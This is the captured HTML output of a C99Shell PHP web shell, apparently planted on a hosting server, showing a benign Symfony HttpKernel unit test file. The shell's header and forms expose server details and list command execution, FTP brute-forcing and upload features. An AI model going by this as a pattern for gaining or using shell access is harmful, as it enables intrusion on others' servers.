!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php55/usr/share/pear/test/HttpKernel/Symfony/Component/HttpKernel/Tests/   drwxr-xr-x
Free 293.98 GB of 429.69 GB (68.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     HttpKernelTest.php (10.56 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\HttpKernel\Tests;

use 
Symfony\Component\HttpKernel\HttpKernel;
use 
Symfony\Component\HttpKernel\HttpKernelInterface;
use 
Symfony\Component\HttpKernel\KernelEvents;
use 
Symfony\Component\HttpKernel\Exception\MethodNotAllowedHttpException;
use 
Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException;
use 
Symfony\Component\HttpFoundation\Request;
use 
Symfony\Component\HttpFoundation\Response;
use 
Symfony\Component\HttpFoundation\RedirectResponse;
use 
Symfony\Component\EventDispatcher\EventDispatcher;

class 
HttpKernelTest extends \PHPUnit_Framework_TestCase
{
    
/**
     * @expectedException \RuntimeException
     */
    
public function testHandleWhenControllerThrowsAnExceptionAndRawIsTrue()
    {
        
$kernel = new HttpKernel(new EventDispatcher(), $this->getResolver(function () { throw new \RuntimeException(); }));

        
$kernel->handle(new Request(), HttpKernelInterface::MASTER_REQUESTtrue);
    }

    
/**
     * @expectedException \RuntimeException
     */
    
public function testHandleWhenControllerThrowsAnExceptionAndRawIsFalseAndNoListenerIsRegistered()
    {
        
$kernel = new HttpKernel(new EventDispatcher(), $this->getResolver(function () { throw new \RuntimeException(); }));

        
$kernel->handle(new Request(), HttpKernelInterface::MASTER_REQUESTfalse);
    }

    public function 
testHandleWhenControllerThrowsAnExceptionAndRawIsFalse()
    {
        
$dispatcher = new EventDispatcher();
        
$dispatcher->addListener(KernelEvents::EXCEPTION, function ($event) {
            
$event->setResponse(new Response($event->getException()->getMessage()));
        });

        
$kernel = new HttpKernel($dispatcher$this->getResolver(function () { throw new \RuntimeException('foo'); }));
        
$response $kernel->handle(new Request());

        
$this->assertEquals('500'$response->getStatusCode());
        
$this->assertEquals('foo'$response->getContent());
    }

    public function 
testHandleExceptionWithARedirectionResponse()
    {
        
$dispatcher = new EventDispatcher();
        
$dispatcher->addListener(KernelEvents::EXCEPTION, function ($event) {
            
$event->setResponse(new RedirectResponse('/login'301));
        });

        
$kernel = new HttpKernel($dispatcher$this->getResolver(function () { throw new AccessDeniedHttpException(); }));
        
$response $kernel->handle(new Request());

        
$this->assertEquals('301'$response->getStatusCode());
        
$this->assertEquals('/login'$response->headers->get('Location'));
    }

    public function 
testHandleHttpException()
    {
        
$dispatcher = new EventDispatcher();
        
$dispatcher->addListener(KernelEvents::EXCEPTION, function ($event) {
            
$event->setResponse(new Response($event->getException()->getMessage()));
        });

        
$kernel = new HttpKernel($dispatcher$this->getResolver(function () { throw new MethodNotAllowedHttpException(array('POST')); }));
        
$response $kernel->handle(new Request());

        
$this->assertEquals('405'$response->getStatusCode());
        
$this->assertEquals('POST'$response->headers->get('Allow'));
    }

    
/**
     * @dataProvider getStatusCodes
     */
    
public function testHandleWhenAnExceptionIsHandledWithASpecificStatusCode($responseStatusCode$expectedStatusCode)
    {
        
$dispatcher = new EventDispatcher();
        
$dispatcher->addListener(KernelEvents::EXCEPTION, function ($event) use ($responseStatusCode$expectedStatusCode) {
            
$event->setResponse(new Response(''$responseStatusCode, array('X-Status-Code' => $expectedStatusCode)));
        });

        
$kernel = new HttpKernel($dispatcher$this->getResolver(function () { throw new \RuntimeException(); }));
        
$response $kernel->handle(new Request());

        
$this->assertEquals($expectedStatusCode$response->getStatusCode());
        
$this->assertFalse($response->headers->has('X-Status-Code'));
    }

    public function 
getStatusCodes()
    {
        return array(
            array(
200404),
            array(
404200),
            array(
301200),
            array(
500200),
        );
    }

    public function 
testHandleWhenAListenerReturnsAResponse()
    {
        
$dispatcher = new EventDispatcher();
        
$dispatcher->addListener(KernelEvents::REQUEST, function ($event) {
            
$event->setResponse(new Response('hello'));
        });

        
$kernel = new HttpKernel($dispatcher$this->getResolver());

        
$this->assertEquals('hello'$kernel->handle(new Request())->getContent());
    }

    
/**
     * @expectedException \Symfony\Component\HttpKernel\Exception\NotFoundHttpException
     */
    
public function testHandleWhenNoControllerIsFound()
    {
        
$dispatcher = new EventDispatcher();
        
$kernel = new HttpKernel($dispatcher$this->getResolver(false));

        
$kernel->handle(new Request());
    }

    
/**
     * @expectedException \LogicException
     */
    
public function testHandleWhenTheControllerIsNotACallable()
    {
        
$dispatcher = new EventDispatcher();
        
$kernel = new HttpKernel($dispatcher$this->getResolver('foobar'));

        
$kernel->handle(new Request());
    }

    public function 
testHandleWhenTheControllerIsAClosure()
    {
        
$response = new Response('foo');
        
$dispatcher = new EventDispatcher();
        
$kernel = new HttpKernel($dispatcher$this->getResolver(function () use ($response) { return $response; }));

        
$this->assertSame($response$kernel->handle(new Request()));
    }

    public function 
testHandleWhenTheControllerIsAnObjectWithInvoke()
    {
        
$dispatcher = new EventDispatcher();
        
$kernel = new HttpKernel($dispatcher$this->getResolver(new Controller()));

        
$this->assertResponseEquals(new Response('foo'), $kernel->handle(new Request()));
    }

    public function 
testHandleWhenTheControllerIsAFunction()
    {
        
$dispatcher = new EventDispatcher();
        
$kernel = new HttpKernel($dispatcher$this->getResolver('Symfony\Component\HttpKernel\Tests\controller_func'));

        
$this->assertResponseEquals(new Response('foo'), $kernel->handle(new Request()));
    }

    public function 
testHandleWhenTheControllerIsAnArray()
    {
        
$dispatcher = new EventDispatcher();
        
$kernel = new HttpKernel($dispatcher$this->getResolver(array(new Controller(), 'controller')));

        
$this->assertResponseEquals(new Response('foo'), $kernel->handle(new Request()));
    }

    public function 
testHandleWhenTheControllerIsAStaticArray()
    {
        
$dispatcher = new EventDispatcher();
        
$kernel = new HttpKernel($dispatcher$this->getResolver(array('Symfony\Component\HttpKernel\Tests\Controller''staticcontroller')));

        
$this->assertResponseEquals(new Response('foo'), $kernel->handle(new Request()));
    }

    
/**
     * @expectedException \LogicException
     */
    
public function testHandleWhenTheControllerDoesNotReturnAResponse()
    {
        
$dispatcher = new EventDispatcher();
        
$kernel = new HttpKernel($dispatcher$this->getResolver(function () { return 'foo'; }));

        
$kernel->handle(new Request());
    }

    public function 
testHandleWhenTheControllerDoesNotReturnAResponseButAViewIsRegistered()
    {
        
$dispatcher = new EventDispatcher();
        
$dispatcher->addListener(KernelEvents::VIEW, function ($event) {
            
$event->setResponse(new Response($event->getControllerResult()));
        });
        
$kernel = new HttpKernel($dispatcher$this->getResolver(function () { return 'foo'; }));

        
$this->assertEquals('foo'$kernel->handle(new Request())->getContent());
    }

    public function 
testHandleWithAResponseListener()
    {
        
$dispatcher = new EventDispatcher();
        
$dispatcher->addListener(KernelEvents::RESPONSE, function ($event) {
            
$event->setResponse(new Response('foo'));
        });
        
$kernel = new HttpKernel($dispatcher$this->getResolver());

        
$this->assertEquals('foo'$kernel->handle(new Request())->getContent());
    }

    public function 
testTerminate()
    {
        
$dispatcher = new EventDispatcher();
        
$kernel = new HttpKernel($dispatcher$this->getResolver());
        
$dispatcher->addListener(KernelEvents::TERMINATE, function ($event) use (&$called, &$capturedKernel, &$capturedRequest, &$capturedResponse) {
            
$called true;
            
$capturedKernel $event->getKernel();
            
$capturedRequest $event->getRequest();
            
$capturedResponse $event->getResponse();
        });

        
$kernel->terminate($request Request::create('/'), $response = new Response());
        
$this->assertTrue($called);
        
$this->assertEquals($kernel$capturedKernel);
        
$this->assertEquals($request$capturedRequest);
        
$this->assertEquals($response$capturedResponse);
    }

    public function 
testVerifyRequestStackPushPopDuringHandle()
    {
        
$request = new Request();

        
$stack $this->getMock('Symfony\Component\HttpFoundation\RequestStack', array('push''pop'));
        
$stack->expects($this->at(0))->method('push')->with($this->equalTo($request));
        
$stack->expects($this->at(1))->method('pop');

        
$dispatcher = new EventDispatcher();
        
$kernel = new HttpKernel($dispatcher$this->getResolver(), $stack);

        
$kernel->handle($requestHttpKernelInterface::MASTER_REQUEST);
    }

    protected function 
getResolver($controller null)
    {
        if (
null === $controller) {
            
$controller = function () { return new Response('Hello'); };
        }

        
$resolver $this->getMock('Symfony\\Component\\HttpKernel\\Controller\\ControllerResolverInterface');
        
$resolver->expects($this->any())
            ->
method('getController')
            ->
will($this->returnValue($controller));
        
$resolver->expects($this->any())
            ->
method('getArguments')
            ->
will($this->returnValue(array()));

        return 
$resolver;
    }

    protected function 
assertResponseEquals(Response $expectedResponse $actual)
    {
        
$expected->setDate($actual->getDate());
        
$this->assertEquals($expected$actual);
    }
}

class 
Controller
{
    public function 
__invoke()
    {
        return new 
Response('foo');
    }

    public function 
controller()
    {
        return new 
Response('foo');
    }

    public static function 
staticController()
    {
        return new 
Response('foo');
    }
}

function 
controller_func()
{
    return new 
Response('foo');
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0996 ]--